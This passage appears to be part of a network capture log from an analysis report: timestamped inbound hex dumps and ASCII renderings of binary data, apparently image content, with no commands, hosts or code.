iWWvJk{C:5ffTdZg^x~M=Hl5oISo&<**?B\|O`?_Oen'
2022-07-20 11:24:37 UTC	1941	IN	Data Raw: 3f 86 a8 ed 96 ea 4f 31 bf dc ff 00 be a9 d7 56 6d 6b 37 df de 8d b5 ff 00 76 fb fe f7 d2 8f 2e 5f f9 69 07 c8 df 72 4a d5 4a 3d cc dc 64 f7 28 db ee 96 4f 32 df ef af ee 7f 79 fd ef a5 58 f2 da de 79 16 39 fe d4 eb b7 7c 9f c1 bb d3 f0 a7 36 9b bb cc 85 7c cf de fc 8f 24 6f f7 d6 b4 34 75 fb 1c 7f 67 8d 36 26 c5 d9 1e c5 f9 db d1 7d 2a 1c 82 30 e8 43 0a dc dd 49 6f 0a da 7c ed fe c7 f1 35 3a e9 59 64 92 19 93 ef 7f b1 bf e6 ff 00 0a ef be c3 63 75 a5 47 23 47 6b 05 bd bc cb fb f8 1f e7 46 db d4 7f 7b e6 ae 67 c5 50 ab 79 77 91 cf 1e f6 f9 1e 78 fe e6 ee 99 6f eb 50 a7 d5 1a f2 d9 18 2c bf c4 bf ee 7e f1 3f cf 22 a6 56 dd e5 c8 de 66 c5 ff 00 96 91 fc ff 00 2d 47 1b 35 c4 7e 4b 49 fb d4 f9 1e 78 fe 7d fb 69 ab 0b 79 1e 65 9c ff 00 27 dc 78 e4 f9 d2 b6 e8 Data Ascii: ?O1Vmk7v._irJJ=d(O2yXy9\|6\|$o4ug6&}*0CIo\|5:YdcuG#GkF{gPywxoP,~?"Vf-G5~KIx}iye'x
2022-07-20 11:24:37 UTC	2036	IN	Data Raw: 3f db 35 2f 21 1b e4 f2 f6 7c ff 00 a7 fe 85 5c dc d3 7d 83 fd 4e a4 93 a6 cd fe 64 90 6f f9 bf c6 ba a3 4f 99 5d 1c f2 a8 e2 ec ce e2 e2 69 5a 4d be 5c 69 13 7f cb 4d ea ff 00 f8 ed 67 dc 5a ec 92 36 86 3f de b3 ff 00 cb 47 f9 3f c3 35 ce e9 b7 53 f9 9e 73 5f c1 07 9a 9f c1 f7 eb 49 be d2 f1 ee 93 5a 8f ec fb ff 00 d6 47 06 ff 00 d3 8a 7e cd ae a2 e7 b8 49 aa 2c b7 53 db ad 84 8f 2c 5b b7 c7 1b ff 00 3f 6a 86 df cd 68 3c eb 8d 26 4d 8d f3 bc 96 a9 f7 ea c4 3a 7d e4 b1 ee b3 d7 6c 5d fe 67 fe 14 fb de de f5 97 26 8f e2 1f df ac 77 f3 cf 16 fd ff 00 7f f9 53 8c 43 99 f6 26 be b5 83 54 ff 00 47 86 0d 89 2f cf fb f9 1b f8 6a e5 8e 96 d6 b0 49 1c 92 6f 8b fb f2 7c f5 9a ba 1e a6 be 64 92 5f c1 fb d4 ff 00 96 89 ff 00 d6 a9 ad 75 6b cb 7f dc ff 00 07 f1 c9 1a Data Ascii: ?5/!\|\}NdoO]iZM\iMgZ6?G?5Ss_IZG~I,S,[?jh<&M:}l]g&wSC&TG/jIo\|d_uk
2022-07-20 11:24:37 UTC	2140	IN	Data Raw: 6b b6 e4 f2 9b fb dc c8 fd 2b c0 34 1f 87 76 72 f8 7f c1 97 9a 5f 88 60 d4 5f 54 79 a1 b8 f3 d3 ec f6 f6 db 1b 6f 0d 9f bd ea 8d b5 bf 8b a1 ac 29 c6 31 d2 49 a5 f8 1d 7e d1 c9 26 9e b6 3c fe 1f 0d dc cb 3f 98 b1 c9 1d a3 7f cf 7f 9d ff 00 03 50 dd 69 bf eb 21 f2 e3 fb 5f df f3 3e 6d f5 d7 78 db 58 f0 e4 b7 d6 1f d8 70 5d 26 9f a6 c4 de 75 d6 aa fb 1e f6 56 c6 5b ca 5f 96 1d bd 97 24 fa d6 2c 7a c2 dc 47 1c 76 70 48 f2 ca fb 11 23 4f 37 ce 66 e8 17 fb df 85 7a 31 8e 9e e9 c8 e5 af bc 8e 1e 1b 19 ed 75 2f de 47 e4 7c fb df cb 76 ad a9 2d d6 de 09 2e 16 48 dd 1b e4 f2 36 7d fa e8 ad fc 27 ad 6b de 5b 59 f8 7b 52 d5 1f e5 4f 32 d6 0d e9 b9 97 70 53 b3 f8 b1 fc 1f 78 7b 57 45 0f c0 9f 88 2d 34 8b 27 86 a7 b2 76 4f f5 73 bc 09 be 26 6e 76 8f 33 d3 d3 9a 95 52 Data Ascii: k+4vr_`_Tyo)1I~&<?Pi!_>mxXp]&uV[_$,zGvpH#O7fz1u/G\|v-.H6}'k[Y{RO2pSx{WE-4'vOs&nv3R
2022-07-20 11:24:37 UTC	2164	IN	Data Raw: 0d af 3c 4d 63 e2 8d 3f 4f 92 d7 48 d3 d6 1b 84 7f 0f c9 e6 5c 7d 8a d5 b6 33 dc 45 2b fc b1 3e f4 89 56 43 8c ee 50 2a 3d 6a cf 5e f1 6d ad 85 e6 8f 3f 88 f5 bd 4d 6e e1 bb d6 6e af a0 5f 36 1b a9 63 48 e2 fd e2 49 b5 97 72 7c af b1 7f de 35 aa 7c bb 68 83 4d c9 9a 4f 11 ad 8e 9b a0 f8 5f 52 9e 6b 2b 0b ed 90 e9 b0 68 f0 22 4c b0 c8 ff 00 67 ba 2a 73 24 92 c9 bd b7 2c 89 f9 8a ea 35 0f 09 eb cd e1 1b 0d 16 eb c3 72 78 6a f6 c1 26 bb be d7 2e 92 39 62 bd d9 26 5e 17 58 63 0d c0 09 b6 df 7a fc dd 7a e6 b7 be 1c fc 39 fe cb 8e ee cf c5 9e 08 ba ba bb ba 99 be cf e2 38 e0 b9 77 fb 66 ed d8 de ac 3c e5 3f 37 ca 2b 6b f6 8a d2 75 ad 72 d7 42 d2 e1 fe d5 d7 ad 6d 6e 23 bb b7 ba d1 e0 6b 8d 1f 50 96 55 70 56 74 fb a9 32 86 d8 b5 8c e1 29 4e 2a 09 5b b9 71 9c 52 Data Ascii: <Mc?OH\}3E+>VCP=j^m?Mnn_6cHIr\|5\|hMO_Rk+h"Lgs$,5rxj&.9b&^Xczz98wf<?7+kurBmn#kPUpVt2)N*[qR
2022-07-20 11:24:37 UTC	2219	IN	Data Raw: 2e f7 f9 be ef 6a 39 97 37 bd a0 d4 5b 5e eb b9 cc cd 33 2c 93 ac 92 49 0f ee 7c ef 33 7a a2 27 cd fd dc 7f f5 aa c5 8f 95 2c 1e 62 c7 05 d3 36 ed f1 c8 8b f3 fc bd ff 00 da fc 29 de 2e b5 d2 3f b6 23 b5 d3 6f e7 bd b4 6b 48 66 7f ed 2b 5f 2a 54 ba f2 f1 2c 0f cf 67 fb a4 7f 3a a7 1c d2 da da c7 34 9e 43 db db ed 4f 32 0f 93 db b8 f9 ab 73 3b 90 db e9 72 d8 47 04 6b 22 23 2b aa 3c 93 a7 ce ea df c3 fe cd 5a ba 87 fd 22 36 69 3c 8f 9f 62 49 1f f9 ff 00 c7 aa d4 cb e6 f9 8b 24 9b 12 58 57 c9 fe 34 76 aa bf 68 81 7c c8 e3 92 3b 26 b8 46 99 e4 81 15 d3 72 e2 80 29 df 58 af 99 1c 93 24 8e 9f ea bc cd 9f 27 e0 c3 ef 56 5c 3a 6c 0b 24 73 5b cf 25 aa 4a fe 4a 49 f7 f6 7d 4f f0 d5 eb c5 bc b8 fd dc d6 f3 ce fb f7 bc f1 a6 cd eb bb af 15 0a ac 16 bf 76 49 e0 b8 6f Data Ascii: .j97[^3,I\|3z',b6).?#okHf+_*T,g:4CO2s;rGk"#+<Z"6i<bI$XW4vh\|;&Fr)X$'V\:l$s[%JJI}OvIo
2022-07-20 11:24:37 UTC	2323	IN	Data Raw: a1 61 52 5a e8 4f d6 2f b6 a6 b6 97 35 9e b9 24 f7 90 f9 ff 00 68 b8 db b1 37 fd f8 97 ee 63 db 6d 6e 5b cc df d9 b7 6d 37 96 e9 6e 8d be 4f bf f3 76 52 7f de ae 5f 4b ba be bf bb 8d 63 92 77 f2 be 77 f2 20 d9 b3 ea e4 0c 57 4d aa 5f 5b 5a dd 47 6a ba 94 69 12 fd fb 58 1d 7c dd dd b7 28 fe b5 6a 17 7a 22 5c fb 94 ef 24 f2 67 81 64 83 cf 89 a1 f9 e4 f2 3e e7 cd ea d5 24 2b f2 46 cb e7 cf 69 2f fc b7 8f 6e ff 00 f8 17 d2 b2 75 29 2e 75 2f df 5b cf 7c ff 00 c1 e5 c6 ea 88 8a df fa 16 2a d7 83 e4 b9 b0 ba 9e d6 ea 7f 3e 29 51 93 cb ff 00 6b d6 b5 f6 7a 5c cf 9c d4 9a 48 22 b5 fd e4 7f ba f9 b6 49 24 8b fc 55 87 fd a8 92 cf 27 d9 fc 88 22 ff 00 73 f0 a9 2f 34 f9 e2 b5 91 56 7f 21 fe e3 c7 1d 64 fd b1 ad 5f 6c 9e 5b ed fb 93 ec 54 d9 b7 fd 9f f7 69 c6 9c 6c 4b Data Ascii: aRZO/5$h7cmn[m7nOvR_Kcww WM_[ZGjiX\|(jz"\$gd>$+Fi/nu).u/[\|*>)Qkz\H"I$U'"s/4V!d_l[TilK
2022-07-20 11:24:37 UTC	2363	IN	Data Raw: 2f 3f 38 f9 85 71 ba a7 ec d7 e0 eb 8b a8 e1 fe c5 d6 34 ef 35 ff 00 d2 3c 8d 62 48 93 6f f7 82 ed 3b 8d 54 a9 6b b5 be ff 00 f3 14 71 11 ea df e1 fe 47 ce fa c7 88 b7 4f 69 e6 78 7b 4d 4d a9 e4 c3 24 9e 36 92 2f 27 d5 76 47 2e 52 b2 ee b5 09 6c 27 8e 3b 5d 37 c3 93 dc 6c d8 ff 00 65 d6 35 8d 41 df fd ef de 6d af 7e f1 b7 c2 1f 84 9f 0a b5 5d 26 4d 62 df c5 48 fa 92 4c f0 df 69 d3 c1 2e c6 4c 6e df 1b 6d 6c fc dd ab b3 f0 ae b1 f0 0b fd 1f 1a ce a9 a8 ea 12 96 db fd a5 65 72 db 19 be ef 9a bb 44 7b 47 e5 57 1a 13 d3 96 37 42 78 88 3d f7 3e 66 f0 ce 8b a7 ea 9a 6d dc 9a 84 1a 55 95 df dc b4 82 4b 1b d4 8b 76 df f5 99 96 7e 7f 0a d0 ff 00 84 47 4f 58 23 86 3d 0b 4d 7f f9 ed e5 ba a7 fc 0a 3d ca 58 57 dc f7 9a d4 6d a4 8f b6 dd c7 aa 3e cd 8b fd a3 a7 c7 65 Data Ascii: /?8q45<bHo;TkqGOix{MM$6/'vG.Rl';]7le5Am~]&MbHLi.LnmlerD{GW7Bx=>fmUKv~GOX#=M=XWm>e
2022-07-20 11:24:37 UTC	2434	IN	Data Raw: ac a3 1e a8 06 fc 40 f0 1f 8c f4 bd 46 c2 cf c2 be 17 d4 a7 69 53 7d df f6 55 ab 7d 9d db f8 7e 6c ed fe b5 6b 50 d2 fe 39 e9 3a 54 17 57 5a 4c 7a 75 bc 5b 5d e3 b5 9e 07 bb 75 dd f5 7e 95 ea de 1b f8 a9 2e b9 e0 bf f8 48 af 2f e3 b2 b7 54 67 b8 b5 ba 75 89 21 55 6d a4 ac 99 5d c8 4f 46 22 ba cd 3f c7 1a 42 e9 50 5e 5e 6a 56 b0 45 2c 2a e9 e5 ba ff 00 12 e7 8d b9 cd 0e 56 56 b0 cf 13 d0 fe 31 78 ab 5e f2 21 be f0 d4 f7 b6 96 f3 7c 9a 95 ac f1 fd a1 36 ff 00 7a 31 85 6f c3 f2 ae f2 3f 1c 37 8b ad 67 d2 74 bf 10 e9 a9 a8 7c bb e0 9f 75 a5 c4 2d e8 63 62 1b fa 56 c4 da 1f 86 ad e4 8e ea ce 4b e8 3e d4 fb fc b8 20 67 4d df ed 67 ee d7 33 f1 0b e1 6f 85 fe 23 47 e6 6b 5e 1e be bd d4 2d 53 c9 b4 be b1 9d 6d ee f6 f5 00 6e f9 4f fb af 59 35 19 68 f4 2d 4b 95 dd Data Ascii: @FiS}U}~lkP9:TWZLzu[]u~.H/Tgu!Um]OF"?BP^^jVE,*VV1x^!\|6z1o?7gt\|u-cbVK> gMg3o#Gk^-SmnOY5h-K
2022-07-20 11:24:37 UTC	2553	IN	Data Raw: 4b bb 99 78 fe 25 99 b7 9f 56 65 ae 78 ce 13 bd 9a 4f bd ec 6e e9 d4 5f 16 bf 23 a6 b7 f8 0b f0 ef c3 fa c5 dd 8c 3e 25 ba d2 d2 dd da 17 d0 ee a0 fb 44 a9 2f 43 fe a6 27 93 b7 b5 6d 6a 9f b3 de 99 a6 e8 ff 00 da 9f f0 98 78 81 2d d6 1f 3b c8 be d0 16 dd 1f 6f a4 97 2d 0f 1b 7f 87 9a dc d5 bc 51 e3 1f 87 da 94 f1 cd 69 ae 6b 7e 1a d4 6d 36 5b eb 9a 6a 59 5d dc 23 34 68 4c cf 1a 94 7c 89 3c cc 2b 0e 9d f3 5e 6b 75 e2 4f 0e 78 a2 6b 0f b7 58 78 f3 5b f1 1a c3 f3 c9 ac 3a c5 f7 5b 12 79 58 3d 76 7c db 7b 96 c7 6a d2 35 e3 19 24 e5 a7 72 15 29 cd 73 24 64 b4 9a 1e 83 7d e7 5e 69 b2 6b 7a 65 c2 6f 49 2d 75 45 b4 97 cd f4 6c c6 fd 7b 28 ac df 88 9e 26 d1 56 c6 d2 4f 04 f8 4e fa ca e1 6d ff 00 d2 2e b5 59 d6 e2 e1 f7 36 44 88 63 c6 31 f4 e5 7b 57 a3 78 17 e2 97 Data Ascii: Kx%VexOn_#>%D/C'mjx-;o-Qik~m6[jY]#4hL\|<+^kuOxkXx[:[yX=v\|{j5$r)s$d}^ikzeoI-uEl{(&VONm.Y6Dc1{Wx
2022-07-20 11:24:37 UTC	2609	IN	Data Raw: bd 3e 5e 2b c1 ad 43 1b 85 7f be a7 65 e8 9f e5 73 d6 a5 5f 0f 59 da 9c ff 00 1f f8 27 8b eb 9f 0e fc 55 3f 98 d7 5a 17 86 6e b7 7d f9 2d 53 ca df ed f3 2d 60 af c3 ff 00 b2 cf ba f3 c1 fa e7 c9 f3 bc 7a 3e a3 1b ec f4 ff 00 e2 ab e8 cf 33 f7 9b 7f ef 8f ef d0 b1 aa cf e4 ac 7b e5 6f b9 1f 97 bd df f0 1f 35 63 1c 6d 44 ad 6f d0 d9 e1 e1 bf 53 e6 fb 8f 0d f8 71 a4 8d 5b 52 f1 56 82 9f 36 ff 00 ed 2b 56 74 4d be e2 32 3f 5a 9a df c3 ba 7c 71 c7 26 97 f1 1b 4a ff 00 b7 a4 8a 27 fa 76 6a fa 62 3d 17 50 f3 24 58 f4 db ed fb 15 3f 77 63 27 f8 53 5b c0 3a 9e a9 24 71 c9 e1 ed 4a eb fe ba 58 c8 ff 00 fa 12 9a d9 62 6a 35 6e 57 f9 fe 71 32 e4 a6 b7 92 fe be 67 80 db c7 e3 5b 08 36 da f8 86 c6 f6 2f b9 fb 87 91 1f ff 00 1d cd 43 27 c5 af 18 f8 5f f7 3a 84 10 4e ea Data Ascii: >^+Ces_Y'U?Zn}-S-`z>3{o5cmDoSq[RV6+VtM2?Z\|q&J'vjb=P$X?wc'S[:$qJXbj5nWq2g[6/C'_:N
2022-07-20 11:24:37 UTC	2673	IN	Data Raw: 2b d3 ed 7f 79 67 71 e2 ed 21 37 ff 00 ac fe ce 8e e1 3f 38 a5 e7 f2 ae 7e 1f 18 4e be 5c 3f 60 d4 93 6f fc f0 ba 6b 84 4f c3 73 0f d2 85 f8 84 ab 3c 9b 67 d4 a0 db ff 00 2d 24 fe 3f fc 74 55 2a 55 e2 f4 7a 7c ff 00 56 ca e6 a0 f5 6b 53 ae d3 f4 dd 7b 4b f9 a1 f8 8d 3b c5 ff 00 3c f5 5d 02 e5 13 f0 f9 5a b4 a3 d6 3c 5f 6b 1e e5 bb d0 ee 93 f8 e4 8e c6 ed 13 f1 3e 4e da e6 74 df 88 93 ef 8f ec ba d6 c7 ff 00 ae f2 27 f2 6a de d3 fe 2b 78 85 a0 92 c5 bc 43 74 f6 ff 00 c7 1e f5 b8 89 fe a1 c2 9a e2 a9 4a a4 9b e6 8a fb 97 e8 8d e9 d4 84 55 a3 27 f7 9a d6 fa e6 b9 2c fb 5a ff 00 c3 9b f6 7f ab 8e ea 74 ff 00 d0 a3 ad 68 f5 8d 6a 28 fe 68 f4 79 df fe 9d 6f 99 37 ff 00 e3 99 af 3b d4 2f 25 d5 24 ff 00 4a f2 ef 7f 8f f7 73 b4 4f f9 64 8a 99 66 b1 8b c8 58 74 2b Data Ascii: +ygq!7?8~N\?`okOs<g-$?tU*Uz\|VkS{K;<]Z<_k>Nt'j+xCtJU',Zthj(hyo7;/%$JsOdfXt+
2022-07-20 11:24:37 UTC	2768	IN	Data Raw: 3d 96 d7 ff 00 57 1c 11 a2 7e 4a 06 69 c6 bd 35 d6 de b1 4c 99 53 a9 2f f8 76 8a f0 ea 5f 11 2c 3c bf b5 5a 69 57 5f c0 f2 5d 41 25 bb fe 1b 2a e5 c7 c4 0d 57 4d b5 8e 4b ad 16 3d 8b f7 fe cb a8 b7 c9 ff 00 01 78 aa 3b cf 87 3e 23 69 a4 6d 27 c6 f2 69 ce df 3a 41 6b 03 45 12 7a 61 51 b6 81 58 ad e1 3f 8a 4b 26 eb 1f 12 e9 ba f2 7f cf 39 1d 77 ff 00 e3 d1 9f e7 57 15 4a a2 bd e2 be f4 4d e7 1d 12 97 e0 ff 00 53 51 be 27 69 9a 85 af 9d a9 78 6a ea 7b 4f 99 3c f9 20 b6 b8 4d de 99 6c 56 5d 9f 8b 3e 1d dd 6f 87 fe 11 79 12 59 53 67 97 1e 97 1a 7f e8 06 b3 ee ac 7c 7b 2c 72 43 a8 78 6a c6 f5 3e e3 c7 1f 90 fb ff 00 ef 8c 56 3c 8b a5 69 b2 6e d6 3c 03 3e ff 00 f9 e7 1b c9 f2 76 ef 9f e7 5d 51 a3 4e de eb fb a5 ff 00 04 ca 53 9d d3 fc d7 fc 03 b0 6b 8f 00 5c 47 Data Ascii: =W~Ji5LS/v_,<ZiW_]A%*WMK=x;>#im'i:AkEzaQX?K&9wWJMSQ'ixj{O< MlV]>oyYSg\|{,rCxj>V<in<>v]QNSk\G
2022-07-20 11:24:37 UTC	2824	IN	Data Raw: 8f 6d bf cd 6f bf e6 79 9e 51 75 ff 00 69 6b 4b 43 fd a5 2e 74 9b 5b 0b 7b ef 0f 6a bf ba f9 25 9e d6 d6 07 7b d5 e3 e5 da e7 77 3f 79 be 6e 36 ae da e1 fc 3b f1 e9 7e c3 24 97 11 c9 e2 14 d8 a8 92 41 a8 c7 36 cd bc 81 99 b2 c1 4a d6 d6 93 f1 53 c2 b6 b6 b7 ed 75 e1 a9 1e ee ea e3 7f 99 f2 cb 17 95 db 6e f5 dc bf a0 a1 e1 f1 4b 4b a6 97 af e8 c8 e7 a1 d6 2d 3f 97 f9 23 d3 ad fe 31 78 03 52 d7 23 d4 ae 3c 43 7d a4 6b 71 7d cb a9 e0 b9 b1 8a e7 f7 6c 04 52 79 b2 63 11 8d bf d2 ba ad 1f 52 83 c4 76 ba 93 2c f0 78 7b 58 d5 26 ff 00 48 be fe d8 83 cd 48 36 e1 67 b7 1e 73 ab 63 77 cb d2 bc 3f 43 f1 a7 80 f5 2b a8 24 be f0 9e a5 a7 5b ef f2 66 92 37 92 5b 44 5d a7 f8 53 e6 f3 3e 9d bb 57 33 ad 4d e0 7f b7 41 1d be 8b 27 d8 ae 37 24 d0 4f 3a bc d6 d2 fa 3a 98 7b Data Ascii: moyQuikKC.t[{j%{w?yn6;~$A6JSunKK-?#1xR#<C}kq}lRycRv,x{X&HH6gscw?C+$[f7[D]S>W3MA'7$O::{
2022-07-20 11:24:37 UTC	2887	IN	Data Raw: 1e 0b e6 4f bb f7 a5 99 c4 31 a7 fb 35 47 c1 fe 0f 83 e2 0e b1 a6 e9 36 3f f0 8f e9 72 ad bb 3c d7 df db 1f 68 96 f5 99 bf 87 69 38 7c 7c a1 31 ef 5a 9a e7 80 74 ff 00 05 c1 69 75 79 e4 5e e8 f2 ba bf 9f 05 f3 4b bd 97 ef 47 24 6a bb 3f f1 fa da f0 ae b8 9e 3a d6 24 d7 21 d4 a0 b2 b7 b3 49 21 9a c6 d6 d5 62 96 d9 76 f1 32 6d 8f e7 cf f0 8f bd da aa f7 87 3c 1e 84 af 75 f2 b3 85 d7 3e 17 ff 00 61 ea 52 47 71 7f 63 f6 75 9b 63 ff 00 a5 7c ff 00 2f 7d 9c b7 fc 0a a9 ff 00 c2 b5 b9 96 78 23 b7 b8 b5 d3 a2 ba 46 9a c7 ed 5b be d1 37 aa 84 c6 31 ee 76 d7 d1 de 1b 65 d7 20 fb 45 e5 86 a4 96 eb 0e c8 7c b8 3e cf fd a7 b5 b2 d3 7c db 36 31 fe 25 aa 3a d7 f6 d5 c4 1a b6 ad 75 77 fd 89 e1 75 75 99 3e ca 92 5c 5d de cb bb 6f fc b3 3f 2e 1b f3 a9 f6 ef e1 2b 97 aa 3e Data Ascii: O15G6?r<hi8\|\|1Ztiuy^KG$j?:$!I!bv2m<u>aRGqcuc\|/}x#F[71ve E\|>\|61%:uwuu>\]o?.+>
2022-07-20 11:24:37 UTC	2991	IN	Data Raw: be b2 f8 bd f0 86 2f 89 da ad fe b5 1d fc 90 6b 0c 91 db c3 3c 77 5b ed 36 a7 fb 2e bf 2f fb b5 e4 bf f0 cc 7f 11 a5 ff 00 41 b1 8f 4d d2 ff 00 73 b2 de 7f ed 18 f6 43 ff 00 01 d9 fd 2b ba 13 8d b5 d0 95 14 b5 4f 53 cd 63 b8 6b 88 37 43 f6 5f b3 fd f4 f2 fe 74 46 fc 3f 86 b1 6e 2e 27 9a 39 e1 ba b4 92 d5 da 6f 26 de ea d7 ee 6d db c4 9e 61 3d fe 6e d5 a1 af 7c 37 d5 7c 33 75 77 a6 f8 92 39 3f b6 ed d1 a1 fb 54 f0 6f 87 ef 7c b2 a2 fc bb a3 3e b5 c6 e8 fe 13 5d 0e 7d d7 de 7f f6 dc bb be d1 3c 77 4d 2d bb c4 df dc 46 f9 36 9e bb 0f 23 b5 6e e5 29 34 d2 1e 9b 9d 46 9f 1c 5a 4f dd 8e 44 96 5f be f1 fc fb ff 00 1f bd 5a 17 17 52 b7 ca be 7c f2 ae ef de 24 0a ff 00 97 a5 72 77 9e 2a 96 2d 62 4d 1d 74 9b ab af 29 f6 3c f1 f9 90 db ed 6f e2 5d 9f 3b e1 be 5e 2b Data Ascii: /k<w[6./AMsC+OSck7C_tF?n.'9o&ma=n\|7\|3uw9?To\|>]}<wM-F6#n)4FZOD_ZR\|$rw*-bMt)<o];^+
2022-07-20 11:24:37 UTC	3007	IN	Data Raw: f1 23 c3 97 9a 56 d8 f5 28 f5 1b 49 51 7f 79 63 b9 f7 ee fc 33 5e 6b f1 ab c7 9a 7e 87 a1 c6 b7 9e 17 93 c4 bb 92 4f 26 d6 47 f2 ad 11 bf e9 a1 fb ff 00 f0 10 39 e9 4e 31 b8 ce ba e3 c7 cb 16 95 a9 58 db c1 27 88 6e ed ff 00 e5 bc 11 aa 5a 23 76 f2 83 64 be 2b ce ee bc 2f a8 5c 6a 52 49 e2 29 35 29 2e d5 e3 fb 3c f2 6a 8c f1 4c cc bf 7a 24 8b 67 95 ef bb 8a f2 7d 27 e3 76 b9 a3 49 ff 00 13 6d 0a 0b 2b 29 5d a1 9a 3b 5f 31 3e ef 3e 58 1b bf 76 df d2 bd 53 c0 3e 3a 83 c6 9a 55 a5 c3 47 1e a3 70 ae de 4c 12 23 7d a3 cd 55 fb 99 e0 2d 6e e9 3a 6b 9a da 10 9f 31 0e 9f f0 b7 4c f0 fe 8f e2 1f b5 78 6b 4d bd 7b c9 95 e6 ba d6 2f 96 ed ee 55 3a 36 c6 5d aa 9f 4c 73 5b 5a 5f 8f ad ad 63 83 49 9a 7d 0f c3 ba 3a c2 df 67 8e 39 25 89 3c af f6 3e 51 1f e5 57 b4 dd 7b Data Ascii: #V(IQyc3^k~O&G9N1X'nZ#vd+/\jRI)5).<jLz$g}'vIm+)];_1>>XvS>:UGpL#}U-n:k1LxkM{/U:6]Ls[Z_cI}:g9%<>QW{
2022-07-20 11:24:37 UTC	3444	IN	Data Raw: ff 00 fb 2f 15 a7 d6 aa 74 63 e4 47 93 e8 bf 03 f5 cf 0c c3 bb 47 d4 ac 52 58 be e5 8f da a7 4b 1b 9d cb 86 f3 23 c6 d1 ed b4 64 7a 9a e3 75 ef 81 bf 10 57 4a 8e d6 de c2 d7 57 bd 96 6f 9e 38 1e da 2b 48 62 dd 92 be 63 6d 93 fe f9 e7 d4 d7 d4 16 f1 fd 9e 3f 3a 68 fc 88 bf 8e 49 3e 7f d2 8f b4 79 f3 ed 85 36 44 df 7e 49 3e 7a cb da b5 ab 2a c7 c8 36 ff 00 09 7e 32 36 b9 61 27 f6 4e a4 f7 16 70 aa 43 04 9a a2 cb 16 d5 fb df 7e 5d bc af a7 e5 5f 40 78 4f 4d f1 42 69 d7 77 5a 97 83 24 d2 ef 5b 72 4d 04 97 50 4b bd 76 e3 ef ee c5 7a 77 d9 7f b3 a6 b4 db 24 7e 53 7d ff 00 31 1b f9 ff 00 0d 72 ba b7 8a 20 bf b1 d5 96 cd 3e db 2d ab b2 43 04 97 4a 89 34 ab ff 00 2c f7 ff 00 0f 3f c5 8a 1d 46 d6 a8 67 cf ff 00 14 3f 66 9b 65 b1 9f c4 1a 3c 90 68 3a 7e cf b4 5f 58 Data Ascii: /tcGGRXK#dzuWJWo8+Hbcm?:hI>y6D~I>z*6~26a'NpC~]_@xOMBiwZ$[rMPKvzw$~S}1r >-CJ4,?Fg?fe<h:~_X
2022-07-20 11:24:37 UTC	3531	IN	Data Raw: 5b 95 2e 54 43 4c f3 19 a1 55 f3 23 f3 23 77 6f f9 67 f3 55 59 a1 f3 7e 5f fc 89 ff 00 d6 ab 91 c9 2c b0 47 f6 7f 2f ca 6f f9 69 fc 14 d8 63 89 a4 f9 64 92 44 6f b9 ff 00 eb ae d8 da f6 64 4b 63 3d 6e 3e cb 07 da 26 fb 8b f7 ff 00 8d e8 fe d0 56 fb bf 3d 6e 2d be ef f9 67 f7 77 3f 97 55 ee 34 f8 af 34 d9 ed 56 fe fa d7 ed 09 b3 cf d3 51 7c d4 5f 54 67 ce 2b 55 ee ea 73 dd b5 62 8a c9 e6 c7 fb c8 f7 ff 00 d3 39 3f cf 35 34 8d e5 7c ad fb 8f fa e6 ff 00 c5 50 e8 fa 0c fa 6e 9b 69 0f f6 94 f7 5f 67 ff 00 96 f7 df eb 66 dd dd ca ff 00 17 fb 42 a8 f8 92 e3 5c d2 ed 64 6d 37 4c 4b a4 ff 00 a6 90 4f 2f eb 11 6f fd 02 9b a9 cb 0e 69 15 6b bb 1a 91 b2 ec 93 6c 91 bf c9 ff 00 2c d2 86 db b2 4f 2f ef fd ff 00 de 3b 57 2b 27 8f 97 ed 12 47 71 a4 cf b1 51 5d e4 92 75 Data Ascii: [.TCLU##wogUY~_,G/oicdDodKc=n>&V=n-gw?U44VQ\|_Tg+Usb9?54\|Pni_gfB\dm7LKO/oikl,O/;W+'GqQ]u
2022-07-20 11:24:37 UTC	3547	IN	Data Raw: d6 b7 4a a2 fb 49 fc 8e 76 e9 37 74 ad f3 3a cb 1f 13 59 b5 d4 f1 e9 30 7d ab 6a 6f 7b e8 13 f7 4f 3f 78 f7 7f 16 2a 4f b4 6a 2b ff 00 1e f1 c1 04 b2 fc ef bd f7 ef 66 ec 0f a0 a7 68 fe 09 d3 f4 b8 e7 b8 b7 d2 6d 20 b8 95 1b ed 13 c6 8b 13 cc cd cb 6e db cb 7c dd 73 5b d2 69 76 d2 d8 ff 00 a5 7c 88 a9 b1 fc bf 9d 36 d6 dc dd cc ac 79 bf 88 a4 bc 8b cb b7 b8 92 7d 47 c4 12 fc 96 f1 c1 1b 3d bd b2 ff 00 14 ae 5b 08 b8 5f e2 e7 f8 6a e5 d6 df 07 f8 72 4f 9e ea f6 e3 62 bb c9 27 ef 6e 26 95 be 5f e2 f9 7e f7 f0 fd da e9 bc 59 e1 f6 f1 06 8f e5 e8 b7 ff 00 d9 1a 9c 4f 0b c3 3c 96 b1 5c 6c 54 6c ed 55 93 e5 5c ff 00 7b ad 3a 1d 16 e7 52 93 ce be 92 44 da ed b3 ee ef ff 00 f5 1a 39 83 94 e7 74 9f 08 b6 87 a7 4f 24 72 7c 8b 68 b0 a7 97 f2 24 3f de 61 fe d6 ea bd Data Ascii: JIv7t:Y0}jo{O?x*Oj+fhm n\|s[iv\|6y}G=[_jrOb'n&_~YO<\lTlU\{:RD9tO$r\|h$?a
2022-07-20 11:24:37 UTC	3619	IN	Data Raw: ad f9 e5 6b 9b d3 e1 ff 00 84 a2 d6 fe c7 52 82 04 89 a1 92 d2 e2 08 ee 96 54 da df 2b c3 c6 3a af a8 aa be 0d f0 7e 87 f0 ef c3 90 78 7f c2 b1 c9 a7 78 7f 4d 46 f2 60 82 e9 a5 df b9 b7 3f cc fb 9a a7 ad 8a e9 73 b2 b7 85 a2 93 fd 23 cb d8 cf ff 00 2c d3 fa 51 24 cb 6b 24 92 49 3f fb 9f df ac bb 79 97 c8 82 3f 3e 47 df b5 3c b8 3e 7d ed 55 ed e4 b3 b5 b1 9e 45 92 49 df ce d9 fd f7 dd fd d5 fe 1f ca 9d 85 73 a8 91 62 bf 8e 36 93 e7 78 be e4 9f e1 59 f0 f9 5e 66 eb 19 23 44 de de 74 1f 7d f7 77 aa b0 ea 0d e6 47 e5 da 48 9f ed c8 ff 00 de 5a 75 8b 7d 8e 3f 2f c8 8d 1f ef a7 91 fc cd 2e 51 96 2d ef 2e 6e 3f d4 fc ef fc 7e 5f f0 7d 28 b3 87 ca ff 00 47 8e 48 e0 dd ff 00 2c fe ff 00 cb 59 fa b4 93 b4 96 8d 1f 9f 37 f1 f9 71 bb 26 cf f7 b1 f7 d7 fd 9a a7 ab 6a Data Ascii: 